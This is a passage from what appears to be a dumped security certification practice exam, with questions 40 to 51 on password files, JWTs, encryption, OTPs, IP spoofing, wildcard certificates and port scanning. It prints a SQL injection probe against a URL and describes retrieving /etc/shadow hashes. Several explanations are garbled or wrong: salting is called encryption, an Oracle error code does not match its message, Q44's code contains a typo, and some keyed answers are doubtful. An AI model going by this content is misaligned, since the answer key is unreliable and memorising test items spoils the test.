C: The question states that the domain enforces strong complex passwords. Strong complex passwords must include upper and lowercase letters, numbers and punctuation marks. A word in the dictionary would not meet the strong complex passwords requirement so a dictionary attack would be ineffective at cracking the passwords in this case.

D: Brute force attacks against complex passwords take much longer than a rainbow tables attack.

References:

<http://netsecurity.about.com/od/hackertools/a/Rainbow-Tables.htm>

Question No: 40

An administrator has enabled salting for users' passwords on a UNIX box. A penetration tester must attempt to retrieve password hashes. Which of the following files must the penetration tester use to eventually obtain passwords on the system? (Select TWO).

- A. /etc/passwd
- B. /etc/shadow
- C. /etc/security
- D. /etc/password
- E. /sbin/logon
- F. /bin/bash

Answer: A, B

Explanation:

In cryptography, a salt is random data that is used as an additional input to a one-way function that hashes a password or passphrase. In this question, enabling salting for users' passwords means to store the passwords in an encrypted format.

Traditional Unix systems keep user account information, including one-way encrypted passwords, in a text file called "/etc/passwd". As this file is used by many tools (such as "ls") to display file ownerships, etc. by matching user id #'s with the user's names, the file needs to be world-readable.

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Consequentially, this can be somewhat of a security risk.

Another method of storing account information is with the shadow password format. As with the traditional method, this method stores account information in the `/etc/passwd` file in a compatible format. However, the password is stored as a single "x" character (ie. not actually stored in this file).

A second file, called `/etc/shadow`, contains encrypted password as well as other information such as account or password expiration values, etc.

Incorrect Answers:

C: The `/etc/security` file contains group information. It does not contain usernames or passwords.

D: There is no `/etc/password` file. Usernames are stored in the `/etc/passwd` file.

E: There is no `/sbin/logon` file. Usernames are stored in the `/etc/passwd` file.

F: `/bin/bash` is a UNIX shell used to run a script. It is not where usernames or passwords are stored.

References:

<http://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html>

Question No: 41

A bank is in the process of developing a new mobile application. The mobile client renders content and communicates back to the company servers via REST/JSON calls. The bank wants to ensure that the communication is stateless between the mobile application and the web services gateway.

Which of the following controls **MUST** be implemented to enable stateless communication?

A. Generate a one-time key as part of the device registration process.

B. Require SSL between the mobile application and the web services gateway.

C. The `jsession` cookie should be stored securely after authentication.

D. Authentication assertion should be stored securely on the client.

Answer: D

Explanation:

JSON Web Tokens (JWTs) are a great mechanism for persisting authentication information in a verifiable and stateless way, but that token still needs to be stored somewhere.

Login forms are one of the most common attack vectors. We want the user to give us a username and password, so we know who they are and what they have access to. We want to remember who the user is, allowing them to use the UI without having to present those credentials a second time.

And we want to do all that securely. How can JWTs help?

The traditional solution is to put a session cookie in the user's browser. This cookie contains an identifier that references a "session" in your server, a place in your database where the server remembers who this user is.

However there are some drawbacks to session identifiers:

They're stateful. Your server has to remember that ID, and look it up for every request. This can become a

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burden with large systems.

They're opaque. They have no meaning to your client or your server. Your client doesn't know what it's allowed to access, and your server has to go to a database to figure out who this session is for and if they are allowed to perform the requested operation.

JWTs address all of these concerns by being a self-contained, signed, and stateless authentication assertion that can be shared amongst services with a common data format.

JWTs are self-contained strings signed with a secret key. They contain a set of claims that assert an identity and a scope of access. They can be stored in cookies, but all those rules still apply. In fact, JWTs can replace your opaque session identifier, so it's a complete win.

How To Store JWTs In The Browser

Short answer: use cookies, with the HttpOnly; Secure flags. This will allow the browser to send along the token for authentication purposes, but won't expose it to the JavaScript environment.

Incorrect Answers:

A: A one-time key does not enable stateless communication.

B: SSL between the mobile application and the web services gateway will provide a secure encrypted connection between the two. However, SSL does not enable stateless communication.

C: A cookie is stateful, not stateless as required in the question.

References:

<https://stormpath.com/blog/build-secure-user-interfaces-using-jwts/>

Question No: 42

A company that must comply with regulations is searching for a laptop encryption product to use for its 40,000 end points. The product must meet regulations but also be flexible enough to minimize overhead and support in regards to password resets and lockouts. Which of the following implementations would BEST meet the needs?

- A. A partition-based software encryption product with a low-level boot protection and authentication
- B. A container-based encryption product that allows the end users to select which files to encrypt
- C. A full-disk hardware-based encryption product with a low-level boot protection and authentication
- D. A file-based encryption product using profiles to target areas on the file system to encrypt

Answer: D

Explanation:

The question is asking for a solution that will minimize overhead and support in regards to password resets and lockouts.

File based encryption products operate under the context of the computer user's user account. This means that the user does not need to remember a separate password for the encryption software. If the user forgets his user account password or is locked out due to failed login attempts, the support

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department can reset his password from a central database of user accounts (such as Active Directory) without the need to visit the user's computer.

Profiles can be used to determine areas on the file system to encrypt such as Document folders.

Incorrect Answers:

A: A partition-based software encryption product with a low-level boot protection and authentication would require that the user remember a separate password from his computer login password. This does not minimize overhead and support in regards to password resets and lockouts.

B: An encryption product that allows the end users to select which files to encrypt is not the best solution. A solution that automatically encrypts the necessary data is a better solution.

C: A full-disk hardware-based encryption product with a low-level boot protection and authentication would require that the user remember a separate password from his computer login password. This does not minimize overhead and support in regards to password resets and lockouts.

Question No: 43

A company decides to purchase commercially available software packages. This can introduce new security risks to the network. Which of the following is the BEST description of why this is true?

A. Commercially available software packages are typically well known and widely available. Information concerning vulnerabilities and viable attack patterns are never revealed by the developer to avoid lawsuits.

B. Commercially available software packages are often widely available. Information concerning vulnerabilities is often kept internal to the company that developed the software.

C. Commercially available software packages are not widespread and are only available in limited areas. Information concerning vulnerabilities is often ignored by business managers.

D. Commercially available software packages are well known and widely available. Information concerning vulnerabilities and viable attack patterns are always shared within the IT community.

Answer: B

Explanation:

Commercially available software packages are often widely available. Huge companies like Microsoft develop software packages that are widely available and in use on most computers. Most companies that develop commercial software make their software available through many commercial outlets (computer stores, online stores etc).

Information concerning vulnerabilities is often kept internal to the company that developed the software. The large companies that develop commercial software packages are accountable for the software. Information concerning vulnerabilities being made available could have a huge financial cost to the company in terms of loss of reputation and lost revenues. Information concerning vulnerabilities is often kept internal to the company at least until a patch is available to fix the vulnerability.

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Incorrect Answers:

A: It is true that commercially available software packages are typically well known and widely available. However, it is not true that information concerning vulnerabilities and viable attack patterns are never revealed by the developer to avoid lawsuits. Information concerning vulnerabilities is often kept quiet at first but the information is usually made available when a patch is released to fix the vulnerability.

C: It is not true that commercially available software packages are not widespread and are only available in limited areas.

D: It is true that commercially available software packages are typically well known and widely available. However, it is not true that information concerning vulnerabilities and viable attack patterns are always shared within the IT community. This information is often kept internal to the company that developed the software until a patch is available.

Question No: 44

A storage as a service company implements both encryption at rest as well as encryption in transit of customers' data. The security administrator is concerned with the overall security of the encrypted customer data stored by the company servers and wants the development team to implement a solution that will strengthen the customer's encryption key. Which of the following, if implemented, will MOST increase the time an offline password attack against the customers' data would take?

A. `key= NULL; for (int i=0; i<S000; i++) {key= sha(key +password)}`

B. `password= NULL; for (int i=0; i<10000; i++) {password= sha256(key)}`

C. `password = password + sha(password+salt) + aes256(password+salt)`

D. `key= aes128(sha256(password), password)`

Answer: A

References:

<http://stackoverflow.com/questions/4948322/fundamental-difference-between-hashing-andencryption-algorithms>

Question No: 45

A security administrator has noticed that an increased number of employees' workstations are becoming infected with malware. The company deploys an enterprise antivirus system as well as a web content filter, which blocks access to malicious web sites where malware files can be downloaded. Additionally, the company implements technical measures to disable external storage.

Which of the following is a technical control that the security administrator should implement next to reduce malware infection?

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- A. Implement an Acceptable Use Policy which addresses malware downloads.
- B. Deploy a network access control system with a persistent agent.
- C. Enforce mandatory security awareness training for all employees and contractors.
- D. Block cloud-based storage software on the company network.

Answer: D

Explanation:

The question states that the company implements technical measures to disable external storage. This is storage such as USB flash drives and will help to ensure that the users do not bring unauthorized data that could potentially contain malware into the network. We should extend this by blocking cloud-based storage software on the company network. This would block access to cloud-based storage services such as Dropbox or OneDrive.

Incorrect Answers:

- A: An Acceptable Use Policy is always a good idea. However, it just tells the users how they 'should' use the company systems. It is not a technical control to prevent malware.
- B: A network access control system is used to control access to the network. It does not prevent malware on client computers.
- C: Mandatory security awareness training for all employees and contractors is always a good idea. However, it just educates the users about potential security risks. It is not a technical control to prevent malware.

Question No: 46

ABC Corporation has introduced token-based authentication to system administrators due to the risk of password compromise. The tokens have a set of HMAC counter-based codes and are valid until they are used. Which of the following types of authentication mechanisms does this statement describe?

- A. TOTP
- B. PAP
- C. CHAP
- D. HOTP

Answer: D

Explanation:

The question states that the HMAC counter-based codes are valid until they are used. These are

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"one-time" use codes.

HOTP is an HMAC-based one-time password (OTP) algorithm.

HOTP can be used to authenticate a user in a system via an authentication server. Also, if some more steps are carried out (the server calculates subsequent OTP value and sends/displays it to the user who checks it against subsequent OTP value calculated by his token), the user can also authenticate the validation server.

Both hardware and software tokens are available from various vendors. Hardware tokens implementing OATH HOTP tend to be significantly cheaper than their competitors based on proprietary algorithms. Some products can be used for strong passwords as well as OATH HOTP.

Software tokens are available for (nearly) all major mobile/smartphone platforms.

Incorrect Answers:

A: TOTP is Time-based One-time Password. This is similar to the one-time password system used in this question. However, TOTPs expire after a period of time. In this question, the passwords (codes) expire after first use regardless of the timing of the first use.

B: PAP (Password Authentication Protocol) is a simple authentication protocol in which the user name and password is sent to a remote access server in a plaintext (unencrypted) form. PAP is not what is described in this question.

C: CHAP (Challenge-Handshake Authentication Protocol) is an authentication protocol that provides protection against replay attacks by the peer through the use of an incrementally changing identifier and of a variable challenge-value. CHAP requires that both the client and server know the plaintext of the secret, although it is never sent over the network. CHAP is not what is described in this question.

References:

https://en.wikipedia.org/wiki/HMAC-based_One-time_Password_Algorithm

Question No: 47

A security tester is testing a website and performs the following manual query:

<https://www.comptia.com/cookies.jsp?products=5%20and%201=1>

The following response is received in the payload:

"ORA-00001: SQL command not properly ended"

Which of the following is the response an example of?

- A. Fingerprinting
- B. Cross-site scripting
- C. SQL injection
- D. Privilege escalation

Answer: A

Explanation:

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This is an example of Fingerprinting. The response to the code entered includes "ORA-000001" which tells the attacker that the database software being used is Oracle.

Fingerprinting can be used as a means of ascertaining the operating system of a remote computer on a network. Fingerprinting is more generally used to detect specific versions of applications or protocols that are run on network servers. Fingerprinting can be accomplished "passively" by sniffing network packets passing between hosts, or it can be accomplished "actively" by transmitting specially created packets to the target machine and analyzing the response.

Incorrect Answers:

B: Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. The code in the question is not an example of XSS.

C: SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). The code entered in the question is similar to a SQL injection attack but as the SQL command was not completed, the purpose of the code was just to return the database software being used.

D: Privilege escalation is the act of exploiting a bug, design flaw or configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user. The code in the question is not an example of privilege escalation.

References:

<http://www.yourdictionary.com/fingerprinting>

Question No: 48

An organization uses IP address block 203.0.113.0/24 on its internal network. At the border router, the network administrator sets up rules to deny packets with a source address in this subnet from entering the network, and to deny packets with a destination address in this subnet from leaving the network. Which of the following is the administrator attempting to prevent?

- A. BGP route hijacking attacks
- B. Bogon IP network traffic
- C. IP spoofing attacks
- D. Man-in-the-middle attacks
- E. Amplified DDoS attacks

Answer: C

Explanation:

The IP address block 203.0.113.0/24 is used on the internal network. Therefore, there should be no traffic coming into the network claiming to be from an address in the 203.0.113.0/24 range. Similarly, there

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should be no outbound traffic destined for an address in the 203.0.113.0/24 range. So this has been blocked at the firewall. This is to protect against IP spoofing attacks where an attacker external to the network sends data claiming to be from an internal computer with an address in the 203.0.113.0/24 range. IP spoofing, also known as IP address forgery or a host file hijack, is a hijacking technique in which a cracker masquerades as a trusted host to conceal his identity, spoof a Web site, hijack browsers, or gain access to a network. Here's how it works: The hijacker obtains the IP address of a legitimate host and alters packet headers so that the legitimate host appears to be the source.

When IP spoofing is used to hijack a browser, a visitor who types in the URL (Uniform Resource Locator) of a legitimate site is taken to a fraudulent Web page created by the hijacker. For example, if the hijacker spoofed the Library of Congress Web site, then any Internet user who typed in the URL www.loc.gov would see spoofed content created by the hijacker.

If a user interacts with dynamic content on a spoofed page, the hijacker can gain access to sensitive information or computer or network resources. He could steal or alter sensitive data, such as a credit card number or password, or install malware. The hijacker would also be able to take control of a compromised computer to use it as part of a zombie army in order to send out spam.

Incorrect Answers:

A: BGP is a protocol used to exchange routing information between networks on the Internet. BGP route hijacking is the process of using BGP to manipulate Internet routing paths. The firewall configuration in this question will not protect against BGP route hijacking attacks.

B: Bogon is an informal name for an IP packet on the public Internet that claims to be from an area of the IP address space reserved, but not yet allocated or delegated by the Internet Assigned Numbers Authority (IANA) or a delegated Regional Internet Registry (RIR). The firewall configuration in this question will not protect against Bogon IP network traffic.

D: A man-in-the-middle attack is an attack where the attacker secretly relays and possibly alters the communication between two parties who believe they are directly communicating with each other. The firewall configuration in this question will not protect against a man-in-the-middle attack.

E: A distributed denial-of-service (DDoS) attack occurs when multiple systems flood the bandwidth or resources of a targeted system, usually one or more web servers. Amplified DDoS attacks use more systems to 'amplify' the attack. The firewall configuration in this question will not protect against a DDoS attack.

References:

<http://searchsecurity.techtarget.com/definition/IP-spoofing>

Question No: 49

Using SSL, an administrator wishes to secure public facing server farms in three subdomains: dc1.east.company.com, dc2.central.company.com, and dc3.west.company.com. Which of the following is the number of wildcard SSL certificates that should be purchased?

A. 0

B. 1

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C. 3

D. 6

Answer: C

Explanation:

You would need three wildcard certificates:

- *. east.company.com
- *. central.company.com
- *. west.company.com

The common domain in each of the domains is company.com. However, a wildcard covers only one level of subdomain. For example: *. company.com will cover "<anything>.company.com" but it won't cover "<anything>.<anything>.company.com".

You can only have one wildcard in a domain. For example: * .company.com. You cannot have * *.company.com. Only the leftmost wild card (*) is counted.

Incorrect Answers:

A: You cannot secure public facing server farms without any SSL certificates.

B: You need three wildcard certificates, not one. A wildcard covers only one level of subdomain.

D: You do not need six wildcard certificates to secure three domains.

References:

<https://uk.godaddy.com/help/what-is-a-wildcard-ssl-certificate-567>

Question No: 50

A senior network security engineer has been tasked to decrease the attack surface of the corporate network. Which of the following actions would protect the external network interfaces from external attackers performing network scanning?

A. Remove contact details from the domain name registrar to prevent social engineering attacks.

B. Test external interfaces to see how they function when they process fragmented IP packets.

C. Enable a honeynet to capture and facilitate future analysis of malicious attack vectors.

D. Filter all internal ICMP message traffic, forcing attackers to use full-blown TCP port scans against external network interfaces.

Answer: B

Explanation:

Fragmented IP packets are often used to evade firewalls or intrusion detection systems.

Port Scanning is one of the most popular reconnaissance techniques attackers use to discover services

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they can break into. All machines connected to a Local Area Network (LAN) or Internet run many services that listen at well-known and not so well known ports. A port scan helps the attacker find which ports are available (i.e., what service might be listening to a port).

One problem, from the perspective of the attacker attempting to scan a port, is that services listening on these ports log scans. They see an incoming connection, but no data, so an error is logged. There exist a number of stealth scan techniques to avoid this. One method is a fragmented port scan.

Fragmented packet Port Scan

The scanner splits the TCP header into several IP fragments. This bypasses some packet filter firewalls because they cannot see a complete TCP header that can match their filter rules. Some packet filters and firewalls do queue all IP fragments, but many networks cannot afford the performance loss caused by the queuing.

Incorrect Answers:

A: Removing contact details from the domain name registrar does not improve the security of a network.

C: Enabling a honeynet to capture and facilitate future analysis of malicious attack vectors is a good way of gathering information to help you plan how you can defend against future attacks. However, it does not improve the security of the existing network.

D: Filter all internal ICMP message traffic does not force attackers to use full-blown TCP port scans against external network interfaces. They can use fragmented scans.

References:

<http://www.auditmypc.com/port-scanning.asp>

Question No: 51

An educational institution would like to make computer labs available to remote students. The labs are used for various IT networking, security, and programming courses. The requirements are:

Each lab must be on a separate network segment.

Labs must have access to the Internet, but not other lab networks.

Student devices must have network access, not simple access to hosts on the lab networks.

Students must have a private certificate installed before gaining access.

Servers must have a private certificate installed locally to provide assurance to the students.

All students must use the same VPN connection profile.

Which of the following components should be used to achieve the design in conjunction with directory services?

A. L2TP VPN over TLS for remote connectivity, SAML for federated authentication, firewalls between each lab segment

B. SSL VPN for remote connectivity, directory services groups for each lab group, ACLs on routing equipment

C. IPSec VPN with mutual authentication for remote connectivity, RADIUS for authentication, ACLs on network equipment